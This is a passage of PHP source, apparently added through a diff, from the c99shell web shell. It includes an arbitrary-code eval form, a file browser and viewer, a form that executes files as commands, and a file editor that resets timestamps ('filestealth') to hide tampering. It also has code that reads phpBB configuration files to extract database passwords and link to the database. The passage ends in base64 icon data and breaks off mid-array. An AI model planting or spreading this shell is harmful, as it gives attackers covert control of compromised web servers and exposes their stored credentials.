(empty($eval_txt)) {$eval_txt = true;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 